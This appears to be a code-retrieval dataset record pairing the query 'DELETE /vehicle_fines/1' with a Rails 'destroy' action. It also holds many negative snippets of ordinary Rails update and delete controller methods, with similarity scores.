"def update\n respond_to do |format|\n if @vehicle_submodel.update(vehicle_submodel_params)\n format.html { redirect_to @vehicle_submodel, notice: 'Vehicle submodel was successfully updated.' }\n format.json { render :show, status: :ok, location: @vehicle_submodel }\n else\n format.html { render :edit }\n format.json { render json: @vehicle_submodel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @load_vehicle.update(load_vehicle_params)\n format.html { redirect_to @load_vehicle, notice: 'LoadVehicle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @load_vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vehicle_model.update(vehicle_model_params)\n format.html { redirect_to @vehicle_brand, notice: 'Vehicle model was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @vehicle_model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update\n @feature = Feature.find(params[:id])\n if params[:vehicle_id]\n @method = Vehicle.find(params[:vehicle_id]).toggle_feature(@feature)\n end\n\n respond_to do |format|\n if @feature.update_attributes(feature_params)\n format.json { head :no_content }\n format.js\n else\n format.html { render action: \"edit\" }\n format.json { render json: @feature.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @stolen_vehicle.update(stolen_vehicle_params)\n format.html { redirect_to @stolen_vehicle, notice: 'Stolen vehicle was successfully updated.' }\n format.json { render :show, status: :ok, location: @stolen_vehicle }\n else\n format.html { render :edit }\n format.json { render json: @stolen_vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @getinvoicedatum = Getinvoicedatum.find(params[:id])\n\n respond_to do |format|\n if @getinvoicedatum.update_attributes(params[:getinvoicedatum])\n format.html { redirect_to @getinvoicedatum, notice: 'Getinvoicedatum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @getinvoicedatum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n respond_to do |format|\n if @bride.update(bride_params)\n format.html { redirect_to @bride, notice: 'Bride was successfully updated.' }\n format.json { render :show, status: :ok, location: @bride }\n else\n format.html { render :edit }\n format.json { render json: @bride.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sub_vehicle = SubVehicle.find(params[:id])\n\n respond_to do |format|\n if @sub_vehicle.update_attributes(params[:sub_vehicle])\n format.html { redirect_to(@sub_vehicle, :notice => 'Sub vehicle was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sub_vehicle.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @bike = Bike.find(params[:id])\n @bike.compare_vehicles = params[:bike][:compare_vehicles]\n\n if @bike.update(bike_params)\n audit(@bike, current_user)\n render json: @bike, status: :ok #serializer: Web::V1::BikeSerializer\n else\n render json: @bike.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @vehicle_info.update(vehicle_info_params)\n format.html { redirect_to @vehicle_info, notice: 'Vehicle info was successfully updated.' }\n format.json { render :show, status: :ok, location: @vehicle_info }\n else\n format.html { render :edit }\n format.json { render json: @vehicle_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n if @vehicle_model.update_attributes(params[:vehicle_model])\n flash[:notice] = 'VehicleModel was successfully updated.'\n render :partial => 'show', :object => @vehicle_model\n else\n render :partial => 'edit', :object => @vehicle_model, :status => 409\n end\n end",
"def set_vehicle_fine\n @vehicle_fine = VehicleFine.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @vibe.update(vibe_params)\n format.html { redirect_to @vibe, notice: 'Vibe was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @vibe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @vehicle = Vehicle.find(params[:id])\n\n respond_to do |format|\n if @vehicle.update_attributes(params[:vehicle])\n format.html { redirect_to(@vehicle, :notice => 'Vehicle was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @vehicle.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @vehicle = Vehicle.find(params[:id])\n\n respond_to do |format|\n if @vehicle.update_attributes(params[:vehicle])\n format.html { redirect_to(@vehicle, :notice => 'Vehicle was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @vehicle.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @contractor_feature = ContractorFeature.find(params[:id])\n\n respond_to do |format|\n if @contractor_feature.update_attributes(params[:contractor_feature])\n format.html { redirect_to @contractor_feature, notice: 'Contractor feature was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contractor_feature.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_vehicle_with_http_info(body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: VehicleApi.update_vehicle ...\"\n end\n # verify the required parameter 'body' is set\n if @api_client.config.client_side_validation && body.nil?\n fail ArgumentError, \"Missing the required parameter 'body' when calling VehicleApi.update_vehicle\"\n end\n # resource path\n local_var_path = \"/vehicle\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json', 'application/xml'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(body)\n auth_names = ['vehiclegarage_auth']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: VehicleApi#update_vehicle\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update_vehicles vehicle\n if self.vehicle.nil?\n self.create_vehicles vehicle\n else\n self.vehicle.update!(:four_wheeler => vehicle[:four_wheeler],:two_wheeler => vehicle[:two_wheeler],:none => vehicle[:none])\n end\n end",
"def update\n @sinh_vien = SinhVien.find(params[:id])\n\n respond_to do |format|\n if @sinh_vien.update_attributes(params[:sinh_vien]) \n format.json { head :no_content }\n else \n format.json { render json: @sinh_vien.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vechicle.update(vechicle_params)\n format.html { redirect_to @vechicle, notice: 'Vechicle was successfully updated.' }\n format.json { render :show, status: :ok, location: @vechicle }\n else\n format.html { render :edit }\n format.json { render json: @vechicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n contract = Contract.find_by_id(params[:id])\n (head :unauthorized unless contract) and return\n \n # try to update the attributes\n if contract.update_attributes(edit_contract_params)\n render json: contract\n else\n render json: { errors: contract.error.full_messages}\n end\n end",
"def update\n respond_to do |format|\n if @add_fuel.update(add_fuel_params)\n format.html { redirect_to @add_fuel, notice: (t 'add_fuels.title')+(t 'actions.updated') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @add_fuel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def vehicle_fine_params\n params.require(:vehicle_fine).permit(:vehicle_id, :fine_id)\n end",
"def update\n update_resource @ride, ride_params\n end",
"def update\n respond_to do |format|\n if @contract.update(update_params)\n format.html { redirect_to_leaf_notice(UPDATE_SUCCESS) }\n format.json { render :show, status: :ok, location: @contract }\n else\n unprocessable_response(format)\n end\n end\n end",
"def update\n respond_to do |format|\n if @vehicle_realtime.update(vehicle_realtime_params)\n format.html { redirect_to @vehicle_realtime, notice: 'Vehicle realtime was successfully updated.' }\n format.json { render :show, status: :ok, location: @vehicle_realtime }\n else\n format.html { render :edit }\n format.json { render json: @vehicle_realtime.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def update\n respond_to do |format|\n if @chase_vehicle.set(chase_vehicle_params)\n format.html { redirect_to :back, notice: 'Chase vehicle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @chase_vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @chase_vehicle.set(chase_vehicle_params)\n format.html { redirect_to :back, notice: 'Chase vehicle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @chase_vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update\n respond_to do |format|\n if @beef.update(beef_params)\n format.html { redirect_to @beef, notice: 'Beef was successfully updated.' }\n format.json { render :show, status: :ok, location: @beef }\n else\n format.html { render :edit }\n format.json { render json: @beef.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vehicle_information.update(vehicle_information_params)\n format.html { redirect_to @vehicle_information, notice: 'Vehicle information was successfully updated.' }\n format.json { render :show, status: :ok, location: @vehicle_information }\n else\n format.html { render :edit }\n format.json { render json: @vehicle_information.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n resource.update(deposit_contract_params)\n respond_with client, resource\n end",
"def update\n respond_to do |format|\n if @vehicletype.update(vehicletype_params)\n format.html { redirect_to @vehicletype, notice: 'Vehicletype was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @vehicletype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @user_vehicle.update(user_vehicle_params)\n format.html { redirect_to @user_vehicle, notice: 'User vehicle was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_vehicle }\n else\n format.html { render :edit }\n format.json { render json: @user_vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @vet = Vet.find(params[:id])\n\n respond_to do |format|\n if @vet.update_attributes(params[:vet])\n format.html { redirect_to @vet, notice: 'Vet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @vet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def update\n respond_to do |format|\n if @vehicle_army.update(vehicle_army_params)\n format.html { redirect_to @vehicle_army, notice: (t 'vehicle_armies.title')+(t 'actions.updated') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @vehicle_army.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @contract = Contract.find(params[:id])\n\n respond_to do |format|\n if @contract.update_attributes(params[:contract])\n format.html { redirect_to @contract.lead, notice: 'Contract was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contract.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tipo_vehiculo = TipoVehiculo.find(params[:id])\n\n respond_to do |format|\n if @tipo_vehiculo.update_attributes(params[:tipo_vehiculo])\n format.html { redirect_to @tipo_vehiculo, notice: 'Tipo vehiculo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tipo_vehiculo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n @foaf.interests.clear\n\n if(foaf_params.has_key?(:interests_attributes))\n interest_ids = foaf_params[:interests_attributes].split(\",\").map { |s| s.to_i }\n interest_ids.each do |i|\n @foaf.interests << Interest.find(i)\n #@foaf.update(Interest.find(i))\n end\n \n end\n\n respond_to do |format|\n if @foaf.update(name: foaf_params[:name], work: foaf_params[:work], \n slug: foaf_params[:slug], birthday: foaf_params[:birthday])\n format.html { redirect_to @foaf, notice: 'Foaf was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @foaf.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @vat.update(vat_params)\n head :no_content\n else\n render json: @vat.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @unit_fuel.update(unit_fuel_params)\n format.html { redirect_to @unit_fuel, notice: (t 'unit_fuels.title')+(t 'actions.updated') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @unit_fuel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vehiculo.update(vehiculo_params)\n format.html { redirect_to @vehiculo, notice: 'Vehiculo was successfully updated.' }\n format.json { render :show, status: :ok, location: @vehiculo }\n else\n format.html { render :edit }\n format.json { render json: @vehiculo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @business = Business.find(params[:id])\n authorize! :update, @business\n\n respond_to do |format|\n if @business.update_attributes(business_params || {})\n format.html { redirect_to business_path(@business), notice: 'Business was successfully updated.' }\n format.json do\n respond_with_bip(@business.becomes(Business), param: param_key)\n end\n else\n format.html { render action: \"edit\" }\n format.json do\n respond_with_bip(@business.becomes(Business), param: param_key)\n end\n end\n end\n end",
"def update\n @contract = Contract.find(params[:id])\n @units = Unit.unsold(params[:tower_id])\n respond_to do |format|\n if @contract.update_attributes(params[:contract])\n format.html { redirect_to tower_contract_path(@contract.unit.tower, @contract), notice: 'Contract was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contract.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n @foaf.interests.clear\n\n if(foaf_params.has_key?(:interests_attributes))\n interest_ids = foaf_params[:interests_attributes].split(\",\").map { |s| s.to_i }\n interest_ids.each do |i|\n @foaf.interests << Interest.find(i)\n #@foaf.update(Interest.find(i))\n end\n \n end\n\n respond_to do |format|\n if @foaf.update(name: foaf_params[:name], work: foaf_params[:work], \n slug: foaf_params[:slug], birthday: foaf_params[:birthday])\n format.html { redirect_to @foaf, notice: 'FOAF was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @foaf.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @particular_vacancy_request.update(particular_vacancy_request_params)\n format.html { redirect_to @particular_vacancy_request, notice: 'Particular vacancy request was successfully updated.' }\n format.json { render :show, status: :ok, location: @particular_vacancy_request }\n else\n format.html { render :edit }\n format.json { render json: @particular_vacancy_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @vehicel = @user.vehicels.find(params[:id])\n respond_to do |format|\n if @vehicel.update(vehicel_params)\n format.html { redirect_to user_vehicels_path(@user), notice: 'Vehicel was successfully updated.' }\n format.json { render :show, status: :ok, location: @vehicel }\n else\n format.html { render :edit }\n format.json { render json: @vehicel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @invoice = Invoice.find(params[:id])\n @invoice.year = Date.today.year\n\n @invoice.client_id = params[:clients]\n @invoice.discount_id = params[:discount_id]\n @invoice.tax_id = params[:tax_id]\n\n\n respond_to do |format|\n if @invoice.update_attributes(params[:invoice])\n format.html { redirect_to @invoice, notice: 'Invoice was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vehicle_reservation.update(vehicle_reservation_params)\n format.html { redirect_to @vehicle_reservation, notice: 'Reserva atualizada com sucesso.' }\n format.json { render :show, status: :ok, location: @vehicle_reservation }\n else\n format.html { render :edit }\n format.json { render json: @vehicle_reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @check_vehicle_status.update(check_vehicle_status_params)\n format.html { redirect_to @check_vehicle_status, notice: 'Check vehicle status was successfully updated.' }\n format.json { render :show, status: :ok, location: @check_vehicle_status }\n else\n format.html { render :edit }\n format.json { render json: @check_vehicle_status.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @food_truck.update(food_truck_params)\n format.html { redirect_to @food_truck, notice: 'Food truck was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @food_truck.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n vehicle = Vehicle.find_by(license_number: permit_params[:vehicle_attributes][:license_number])\n \n respond_to do |format|\n if @vehiclepermit.update(permit_params)\n @vehiclepermit.update(vehicle: vehicle)\n format.html { redirect_to @vehiclepermit, notice: 'Permit was successfully updated.' }\n format.json { render :show, status: :ok, location: @vehiclepermit }\n else\n format.html { render :edit }\n format.json { render json: @vehiclepermit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @flight = Flight.find(params[:id])\n\n if @flight.update(params[:flight])\n head :no_content\n else\n render json: @flight.errors, status: :unprocessable_entity\n end\n end",
"def update\n @business = Business.find(params[:id])\n\n respond_to do |format|\n if @business.update_attributes(params[:business])\n format.html { redirect_to aciton: \"index\"}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @business.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vegetal.update(vegetal_params)\n format.html { redirect_to @vegetal, notice: 'Vegetal was successfully updated.' }\n format.json { render :show, status: :ok, location: @vegetal }\n else\n format.html { render :edit }\n format.json { render json: @vegetal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @vehicle.update(vehicle_params)\n redirect_to @vehicle, notice: 'Vehicle was successfully updated.'\n else\n render :edit\n end\n end",
"def update\n @fridge = Fridge.find(params[:id])\n\n respond_to do |format|\n if @fridge.update_attributes(params[:fridge])\n format.html { redirect_to @fridge, notice: 'Fridge was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fridge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize @trip\n\n\n @trip.estimated_expenses.each do |exp|\n exp.requests.each do |req|\n req.amount_from_total = req.percentrequested * exp.total\n req.destination = @trip.destination\n req.expense_type = 'estimated'\n end\n end\n\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip }\n else\n format.html { render :edit }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_vehicle(id, params)\n fleet[id] = RoutificApi::Vehicle.new(id, params)\n end",
"def update\n # build_resource\n if resource.status == 'Open'\n resource.update_attributes permitted_params[:contract]\n if !resource.valid?\n render json: resource.errors, status: :unprocessable_entity\n else\n resource.save\n respond_with json: {}, status: :ok\n end\n else\n respond_with json: [{'error':'The contract must be Open to edit.'}], status: :unprocessable_entity\n end\n end",
"def update\n @outside_request = OutsideRequest.find(params[:id])\n\n respond_to do |format|\n if @outside_request.update_attributes(params[:outside_request])\n format.html { redirect_to @outside_request, notice: 'Outside request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \\\"edit\\\" }\n format.json { render json: @outside_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n @venue.status = \"complete\" if @venue.is_incomplete?\n if @venue.update(venue_params)\n format.html { redirect_to @venue, notice: 'Venue was successfully updated.' }\n format.json { render :show, status: :ok, location: @venue }\n else\n format.html { render :edit }\n format.json { render json: @venue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @admin_vehicle.update(admin_vehicle_params)\n format.html { redirect_to session['previous_url'] || admin_vehicles_url(vehicle_type: @admin_vehicle.vehicle_type), notice: \"#{@italian_type[@vehicle_type.to_sym]} è stato aggiornato con successo.\" }\n format.json { render :show, status: :ok, location: @admin_vehicle }\n else\n format.html { render :edit }\n format.json { render json: @admin_vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @schedule = Schedule.find(params[:id])\n @client_branches = ClientBranch.where(:client_id => params[:schedule][:client_id])\n respond_to do |format|\n if @schedule.update_attributes(params[:schedule])\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t\trespond_to do |format|\n\t\t\tif @ride.update(offer_1_ride_params)\n\t\t\t\t@ride.set_routes\n\t\t\t\t@ride.handle_return_date_and_recurring_weeks\n\t\t\t\tformat.html { redirect_to \"/#{@ride.id}/offer-seats/2\" }\n\t\t\t\tformat.json { render :show, status: :created, location: @ride }\n\t\t\telse\n\t\t\t\tformat.html { render :edit }\n\t\t\t\tformat.json { render json: @ride.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update\n respond_to do |format|\n if @contract.update(contract_params)\n format.html { redirect_to @contract, notice: 'Contract was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @contract.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @serving = Serving.find(params[:id])\n\n respond_to do |format|\n if @serving.update_attributes(params[:serving])\n format.html { redirect_to @serving, notice: 'Serving was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @serving.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ride_request.update(ride_request_params)\n format.html { redirect_to @ride_request, notice: 'Ride request was successfully updated.' }\n format.json { render :show, status: :ok, location: @ride_request }\n else\n format.html { render :edit }\n format.json { render json: @ride_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vehicle_end_of_life.update(vehicle_end_of_life_params)\n format.html { redirect_to vehicles_path, notice: (t 'vehicle_end_of_lives.title2')+(t 'actions.updated') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @vehicle_end_of_life.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vegetable.update(vegetable_params)\n format.html { redirect_to @vegetable, notice: 'Vegetable was successfully updated.' }\n format.json { render :show, status: :ok, location: @vegetable }\n else\n format.html { render :edit }\n format.json { render json: @vegetable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @betraege = Betraege.find(params[:id])\n\n respond_to do |format|\n if @betraege.update_attributes(params[:betraege])\n format.html { redirect_to @betraege, :notice => 'Betraege was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @betraege.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @ball_flight_item = BallFlightItem.find(params[:id])\n\n respond_to do |format|\n if @ball_flight_item.update_attributes(params[:ball_flight_item])\n format.html { redirect_to @ball_flight_item, notice: 'Ball flight item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ball_flight_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @location.update(location_params)\n if @location.dt_devolucao.nil?\n else\n @vehicle = Vehicle.find_by(id: @location.vehicle_id)\n @client = Client.find_by(id: @location.client_id)\n \n @vehicle.update_attribute(:status, 'DISPONÍVEL')\n @client.update_attribute(:status, 'DISPONÍVEL')\n end\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { render :show, status: :ok, location: @location }\n else\n format.html { render :edit }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_by_body\n @person = Person.find(person_update_params[:id])\n\n if @person.update_attributes(person_update_params)\n render json: { status: 'PUT Success' }, status: :ok\n else\n render json: { status: 'Error', message:'Error updating person', person: @person.errors }, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @setbreak.update(setbreak_params)\n format.json { respond_with_bip @setbreak }\n else\n format.json { respond_with_bip @setbreak }\n end\n end\n end",
"def update\n @business = Business.find(params[:id])\n respond_to do |format|\n if @business.update(business_params)\n format.html { redirect_to @business, notice: 'Business was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @business.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @fbt.update(fbt_params)\n format.html { redirect_to @fbt, notice: \"Client was successfully updated.\" }\n format.json { render :show, status: :ok, location: @fbt }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @fbt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n travel = Travel.find(params[:id])\n if travel.update(travel_params)\n render json: travel, status: 200\n else\n render json: travel.errors, status: 422\n end\n end",
"def update\n @bruschettum = Bruschettum.find(params[:id])\n @bruschettum.ingredients.clear\n params[:ingredient].each{|ingr|\n @bruschettum.ingredients << Ingredient.find_by_name(ingr)\n }\n\n respond_to do |format|\n if @bruschettum.update_attributes(params[:bruschettum])\n format.html { redirect_to @bruschettum, notice: 'Bruschettum was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bruschettum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @spice.update(spice_params)\n head :no_content\n else\n render json: @spice.errors, status: :unprocessable_entity\n end\n end",
"def edit\n @vehicle = Vehicle.find(params[:id])\n\n end"
] |
[
"0.6476595",
"0.63793296",
"0.6365856",
"0.6321504",
"0.63096505",
"0.6265638",
"0.6265638",
"0.6163199",
"0.6122666",
"0.6122666",
"0.6122666",
"0.60961986",
"0.60857534",
"0.6013301",
"0.599916",
"0.59777886",
"0.5956239",
"0.59495074",
"0.59427565",
"0.5925206",
"0.59078187",
"0.5898399",
"0.58968824",
"0.5892226",
"0.5887452",
"0.58742297",
"0.58674055",
"0.5866295",
"0.5861452",
"0.5808604",
"0.58064735",
"0.58064735",
"0.5779236",
"0.5768462",
"0.57589877",
"0.5746468",
"0.5735402",
"0.57349074",
"0.5733396",
"0.57327056",
"0.57270825",
"0.572158",
"0.5719936",
"0.57096434",
"0.5692363",
"0.5692363",
"0.56916106",
"0.56911457",
"0.568814",
"0.56839216",
"0.5679628",
"0.5673835",
"0.56688",
"0.5655281",
"0.56524354",
"0.5646814",
"0.56427425",
"0.5640929",
"0.56395787",
"0.56374997",
"0.5634401",
"0.56312174",
"0.5627391",
"0.5623454",
"0.56218266",
"0.5617432",
"0.56113625",
"0.5610425",
"0.56053776",
"0.55987114",
"0.55978465",
"0.5596937",
"0.55951583",
"0.5591453",
"0.5587481",
"0.55850965",
"0.55846167",
"0.5580868",
"0.55785537",
"0.55778587",
"0.55777264",
"0.5575574",
"0.55744916",
"0.5573922",
"0.5557939",
"0.5557096",
"0.5552021",
"0.5548591",
"0.5545524",
"0.5543625",
"0.5541787",
"0.5540876",
"0.5535192",
"0.55341023",
"0.55338436",
"0.55316055",
"0.55277526",
"0.55221564",
"0.5519449",
"0.5515292"
] |
0.6601508
|
0
|
DELETE /vehicle_fines/1 DELETE /vehicle_fines/1.json
|
def destroy
@vehicle_fine.destroy
respond_to do |format|
format.html { redirect_to vehicle_fines_url, notice: 'Vehicle fine was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @vehicle = Vehicle.find(params[:id])\n @vehicle.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vehicle = Vehicle.find(params[:id])\n @vehicle.destroy\n\n respond_to do |format|\n format.html { redirect_to vehicles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vehicle = Vehicle.find(params[:id])\n @vehicle.destroy\n\n respond_to do |format|\n format.html { redirect_to vehicles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n vehicle = Vehicle.where(uid: params[:id]).first\n # vehicle.locations.destroy_all\n vehicle.destroy\n render nothing: true, :status =>204\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @vehcile.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url, notice: 'Vehicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n\t\tcreate_audit __method__, 'vehicle', @vehicle.id\n\t\t@vehicle.destroy\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to vehicles_url }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend",
"def destroy\n @vehicle = Vehicle.find(params[:id])\n @vehicle.destroy\n\n respond_to do |format|\n format.html { redirect_to(fleet_vehicles_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @vehicle.destroy\n render json: { status: 'Vehicle was successfully destroyed' }, status: :ok\n end",
"def destroy\n @load_vehicle.destroy\n respond_to do |format|\n format.html { redirect_to load_vehicle_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sub_vehicle = SubVehicle.find(params[:id])\n @sub_vehicle.destroy\n\n respond_to do |format|\n format.html { redirect_to(sub_vehicles_url) }\n format.xml { head :ok }\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n @vehicle.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url, notice: 'El vehículo seleccionado fue eliminado' }\n format.json { head :no_content }\n end\n end",
"def call(event)\n es = Lynr::Elasticsearch.new\n response = es.client.delete({\n index: 'vehicles',\n type: vehicle(event).class.name,\n id: vehicle_id(event),\n })\n require 'pry-debugger'\n binding.pry\n success\n rescue StandardError => e\n failure\n end",
"def destroy\n @chase_vehicle.destroy\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
